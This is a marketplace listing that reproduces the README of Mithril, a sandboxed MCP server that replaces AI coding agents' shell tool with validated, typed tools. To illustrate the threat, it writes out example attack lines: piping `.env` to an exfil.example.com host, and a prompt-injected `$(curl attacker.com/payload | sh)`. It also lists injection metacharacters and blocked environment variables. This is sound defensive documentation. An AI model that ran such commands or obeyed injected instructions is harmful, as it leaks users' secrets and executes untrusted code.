# Mithril

> A trustless MCP server that replaces the generic shell tool with validated, sandboxed, purpose-built execution tools for AI coding agents.

- **Type:** MCP server
- **Install:** `agentstack add mcp-radimsem-mithril`
- **Verified:** Pending review
- **Seller:** [radimsem](https://agentstack.voostack.com/s/radimsem)
- **Installs:** 0
- **Category:** [Integrations](https://agentstack.voostack.com/c/integrations)
- **Latest version:** 0.1.0
- **License:** Apache-2.0
- **Upstream author:** [radimsem](https://github.com/radimsem)
- **Source:** https://github.com/radimsem/mithril

## Install

```sh
agentstack add mcp-radimsem-mithril
```

Requires the [AgentStack CLI](https://agentstack.voostack.com/docs/cli). Works with Claude Code, Cursor, and any MCP-compatible agent.

## About

Mithril

  Sandboxed MCP server that replaces the generic shell tool with validated, purpose-built execution tools for AI agents.

  
  
  

---

## Problem

AI coding agents typically interact with your system through a single, unrestricted shell tool. Every command — safe or destructive — runs as a raw string passed to `bash -c`:

```
Bash("rm -rf /tmp/build && cat .env | curl -X POST https://exfil.example.com -d @-")
```

The agent sees one text box. The host sees one text box. There is **no structural boundary** between reading a file and exfiltrating secrets, between running tests and wiping a directory. Prompt injection, hallucinated flags, and accidental shell metacharacters all execute with the same authority.

You are left reading every proposed command character-by-character and hoping you catch the `$(...)` buried inside an otherwise reasonable `grep`.

## Solution

Mithril removes the shell entirely. Instead of one `Bash` tool that accepts arbitrary strings, it exposes **~160 purpose-built tools** — each with typed arguments, validated inputs, confined paths, and OS-level sandboxing:

```json
{
  "tool": "Grep",
  "arguments": {
    "pattern": "TODO",
    "path": "src/",
    "include": "*.rs"
  }
}
```

No shell parsing. No metacharacter expansion. No injection surface. Every argument is validated against its declared type and security rules before a process is spawned — and that process runs inside an OS-level sandbox (`bwrap` on Linux, `sandbox-exec` on macOS) that confines filesystem access to the project directory.

## Installation

### Quick install

The install script handles everything — Rust toolchain, sandbox runtime (`bwrap` on Linux), mithril binary, and optionally [RTK](https://github.com/rtk-ai/rtk) for token-optimized output:

```bash
curl -sSf https://raw.githubusercontent.com/radimsem/mithril/main/install.sh | sh
```

By default the binary is installed to `~/.cargo/bin/mithril`. You can change the install prefix or skip RTK:

```bash
# Custom prefix (binary in ~/.local/bin/)
curl -sSf https://raw.githubusercontent.com/radimsem/mithril/main/install.sh | sh -s -- --prefix ~/.local

# Skip RTK
curl -sSf https://raw.githubusercontent.com/radimsem/mithril/main/install.sh | sh -s -- --skip-rtk
```

Or run locally after cloning:

```bash
./install.sh
./install.sh --prefix ~/.local --skip-rtk
```

If you installed RTK, initialize its global command hooks so that tool output is automatically token-optimized:

```bash
rtk init -g
```

See the [https://github.com/rtk-ai/rtk](https://github.com/rtk-ai/rtk) for configuration options and supported commands.

### From source (requires Rust 1.85+)

```bash
git clone https://github.com/radimsem/mithril.git
cd mithril
cargo build --release
```

The binary is at `target/release/mithril`. Move it somewhere on your `$PATH`:

```bash
cp target/release/mithril ~/.local/bin/
```

### Development dependencies

Mithril tools delegate to the actual CLI binaries on your system (`git`, `cargo`, `docker`, `go`, `node`, etc.). Install what you need — tools whose binaries are missing are automatically hidden from the agent.

A convenience script installs common development tools:

```bash
./scripts/setup-dev.sh
```

## Quickstart

### With Claude Code

Add Mithril to your project's `.mcp.json`:

```json
{
  "mcpServers": {
    "mithril": {
      "type": "stdio",
      "command": "mithril",
      "args": ["--project-root", "/absolute/path/to/project", "--ecosystem", "rust|go|python|js"],
      "env": {}
    }
  }
}
```

Then start Claude Code in the project directory. Mithril registers its tools automatically — the agent will see `Cat`, `Grep`, `GitStatus`, `CargoTest`, and the rest instead of a single `Bash` tool.

Use this as your first prompt to orient the agent and verify the setup:

```
Read the ServerGuide and ProjectWorkflow prompts from the mithril MCP server.
Then read the project://config and policy://sandbox resources to see how
the server is configured.

Once you understand the setup, run a quick verification:
1. List files in the project root with Ls
2. Read a source file with Cat
3. Check git status with GitStatus
4. Run the project's test/lint command (CargoCheck, GoVet, Pytest, etc.
   based on the ecosystem)

Report what worked and what didn't.
```

The agent will discover Mithril's constraints, see the active configuration, and exercise the execution pipeline end-to-end — confirming that tool calls, validation, sandboxing, and process spawning all work before you start real work.

### Configuration

Create an optional `.mithril.toml` in your project root:

```toml
[server]
timeout_secs = 180          # Process timeout (default: 180)
max_output_lines = 2048     # Output truncation (default: 2048)
history_size = 8            # Tool call history buffer (default: 8)

[project]
ecosystem = "rust"          # rust | go | python | js
root.abs_path = "/path"     # Project working directory

[sandbox]
default_level = "dir"       # dir | readonly | container
path_blocklist = [".env", ".env.*", "*.pem", "*.key", "*.p12", "*.pfx"]
```

CLI flags override config file values:

```bash
mithril --project-root /my/project --ecosystem python --sandbox readonly --timeout 300
```

## Architecture

Every tool call flows through four sequential layers before a process is spawned:

```
MCP Request → Router → build_context()
    → [ Validate → Proxy → Sandbox → Runner ]
    → format() → MCP Response
```

| Layer | Purpose |
|-------|---------|
| **Validate** | Type checking, injection guard (`; \| &  $ ( ) { }` etc.), path confinement (must be under cwd), env blocklist (`LD_PRELOAD`, `DYLD_*`, `PYTHONPATH`, ...), elicitation approval for destructive ops |
| **Proxy**    | Optionally prepends [RTK](https://github.com/rtk-ai/rtk) for token-optimized output |
| **Sandbox**  | Wraps the command in OS-level isolation — BubbleWrap on Linux, `sandbox-exec` on macOS, noop fallback elsewhere |
| **Runner**   | Spawns the process via `tokio::process::Command` (no shell), streams stdout, enforces timeout |

### Workspace structure

```
crates/
├── bin/        CLI entry point (clap, config, MCP transport)
├── common/     Shared types: Config, ExecContext, ToolDef/ToolExec traits, errors
├── patterns/   Compiled regex patterns for argument validation
├── proxy/      Optional RTK prefix layer for token-optimized output
├── runner/     Process spawning: timeouts, stdout streaming
├── sandbox/    OS isolation: BubbleWrap (Linux) / sandbox-exec (macOS)
├── server/     MCP ServerHandler, tool/prompt/resource routing, pipeline
├── tools/      ~160 tool implementations across 10 domains
└── validator/  Injection guard, path confinement, env blocklist, elicitation
```

### Tool domains

| Domain | Tools | Examples |
|--------|-------|----------|
| System | ~29 | `Cat`, `Ls`, `Grep`, `Rm`, `Sed`, `Find`, `Wc`, `Awk` |
| Git | 18 | `GitStatus`, `GitCommit`, `GitDiff`, `GitLog`, `GitStash` |
| Docker | ~27 | `DockerRun`, `DockerBuild`, `DockerExec`, `DockerCompose*` |
| Go | 12 | `GoBuild`, `GoTest`, `GoModTidy`, `GoVet` |
| JavaScript | 13 | `Node`, `NpmInstall`, `Jest`, `Prettier`, `Vitest` |
| Python | 17 | `Python`, `Pytest`, `Ruff`, `Mypy`, `UvRun`, `PipInstall` |
| Rust | 13 | `CargoBuild`, `CargoTest`, `CargoClippy`, `CargoFmt` |
| GitHub | 11 | `GhPrList`, `GhIssueView`, `GhRunList`, `GhReleaseView` |
| GitLab | 11 | `GlabMrList`, `GlabPipelineView`, `GlabCiStatus` |
| Chain | 1 | `RunChain` — pipe/and composition of multiple tools |

## Trade-offs

There are some deliberate trade-offs you should understand before adopting it.

### More verbose tool calls

With a shell tool, the agent proposes compact one-liners:

```
Bash("cat src/main.rs | grep 'TODO'")
```

With Mithril, the same operation is a structured call with explicit arguments:

```json
{
  "tool": "RunChain",
  "arguments": {
    "cwd": "/home/user/project",
    "mode": "pipe",
    "steps": [
      { "tool": "Cat", "args": { "path": "src/main.rs" } },
      { "tool": "Grep", "args": { "pattern": "TODO" } }
    ]
  }
}
```

This is more verbose. The tool call proposals in your editor will be longer and denser than a bash one-liner.

### Elicitation prompts on mutable operations

Mutable tools — file writes (`Rm`, `Mv`, `Sed`, `Patch`), git mutations (`GitCommit`, `GitPush`, `GitReset`), package managers (`PipInstall`, `CargoAdd`, `NpmInstall`), Docker operations, and others — trigger an [MCP elicitation](https://modelcontextprotocol.io/specification/2025-06-18/server/elicitation) prompt before execution. The agent presents the exact command and you choose one of three options:

| Option | Behavior |
|--------|----------|
| **Allow once** | Execute this command. The next call to the same tool asks again. |
| **Allow for session** | Execute this command and remember the approval for the rest of the session. Optionally accepts a **command prefix pattern** to scope the blanket approval (see below). |
| **Deny** | Reject execution. The tool returns an error and nothing runs. |

#### Command prefix patterns

When you choose "allow for session", you can optionally provide a pattern — a literal command prefix ending with `*` — that scopes which future commands are auto-approved:

```
pattern: "rm *"            ← approves any Rm command for the session
pattern: "cargo test *"    ← approves CargoTest but not CargoBuild
pattern: "git commit *"    ← approves GitCommit but not GitPush
```

If you omit the pattern, the entire tool is approved without restriction for the session.

**Why patterns exist.** In Claude Code, when you allow a tool, the approval is typically all-or-nothing — you approve `Bash` and the agent can run anything. Some MCP hosts offer a command prefix (e.g. "allow all commands starting with `cat foo.txt | grep`"), but that is a host-level mechanism tied to the single shell tool.

Mithril pushes this down into the server. Because each tool is already decomposed into typed arguments, the pattern operates on the **resolved command** — the actual `rm`, `git commit`, or `cargo test` that the sandbox will execute — not on a shell string the agent proposed. The pattern `"cargo test *"` means "any `cargo test` invocation with any arguments", and the injection guard validates the pattern itself before storing it, so the agent cannot smuggle metacharacters into the allowlist.

Rules for patterns:
- Must start with a literal command name (`*` alone is rejected)
- Must end with exactly one trailing `*`
- The prefix itself is checked by the injection guard — no `;`, `|`, `$()`, backticks, etc.

#### Example flow

First call — agent requests `Rm` to delete `build/cache.o`:

```
⚡ Request approval from user to execute command: `rm /home/user/project/build/cache.o`

  approval: allow_session
  pattern:  rm *
```

Second call — agent requests `Rm` to delete `build/tmp.log`. The command matches the stored prefix `rm`, so it executes immediately with no prompt.

Third call — agent requests `GitPush`. This is a different tool with no stored approval, so elicitation fires again.

### Why these trade-offs exist

The verbose structure is what makes validation possible. Each argument has a declared type and a set of security rules — the validator can reject a path traversal attempt in `Cat`'s `path` argument or a shell metacharacter in `Grep`'s `pattern` before any process is spawned. A flat bash string offers no such decomposition.

The same structure is what makes the injection guard work. When an agent receives a prompt injection telling it to run `$(curl attacker.com/payload | sh)`, that string hits the injection guard as a typed argument value — and gets rejected on the spot. In a shell tool, it would execute as a subshell expansion inside whatever command the agent was building. **The validator and sandbox layers ensure that hidden `$(...)` patterns, backtick expansions, and metacharacter sequences cannot break your system or project** — not because you caught them during review, but because the architecture structurally prevents them from reaching a shell.

The elicitation prompts exist because approving `DockerRun` with typed, validated arguments is a fundamentally different act from approving a bash string that happens to start with `docker run`. You know exactly what will execute.

Readability costs something. Security costs something. Mithril bets that for agents operating on your codebase, the security guarantee is worth the friction.

## Uninstallation

Remove the binaries and any project-level configuration:

```bash
rm $(which mithril)          # Remove the mithril binary
rm $(which rtk)              # Remove RTK binary (if installed)
rm .mithril.toml             # Remove project config (if present)
rm .mcp.json                 # Remove MCP server config (if present)
```

No global state, daemons, or system-level configuration to clean up.

## Contributing

See [CONTRIBUTING.md](CONTRIBUTING.md) for guidelines on development setup, testing, and submitting changes.

## License

Licensed under the [Apache License 2.0](LICENSE).

## Disclaimer

See [DISCLAIMER.md](DISCLAIMER.md).

## Source & license

This open-source MCP server is cataloged on AgentStack and links to its original source — we do not rehost the code.

- **Author:** [radimsem](https://github.com/radimsem)
- **Source:** [radimsem/mithril](https://github.com/radimsem/mithril)
- **License:** Apache-2.0

Install and usage instructions live in the source repository linked above.

## Pricing

- **Free** — Free

## Security capabilities

Automated source analysis of v0.1.0 — what this tool can access:

- **Network access:** yes
- **Filesystem access:** no
- **Shell / process execution:** no
- **Environment & secrets:** yes
- **Dynamic code execution:** no

*"Yes" means the capability is present in the source — more access means more to trust, not that it is unsafe.*


## Versions

- **0.1.0** — security scan: flagged — Imported from the upstream source.

## Links

- Listing page: https://agentstack.voostack.com/l/mcp-radimsem-mithril
- Seller: https://agentstack.voostack.com/s/radimsem
- Browse the marketplace: https://agentstack.voostack.com/browse

---
Listed on AgentStack — the marketplace for AI agent skills and MCP servers. Every listing is security-reviewed. Creators keep 70%.
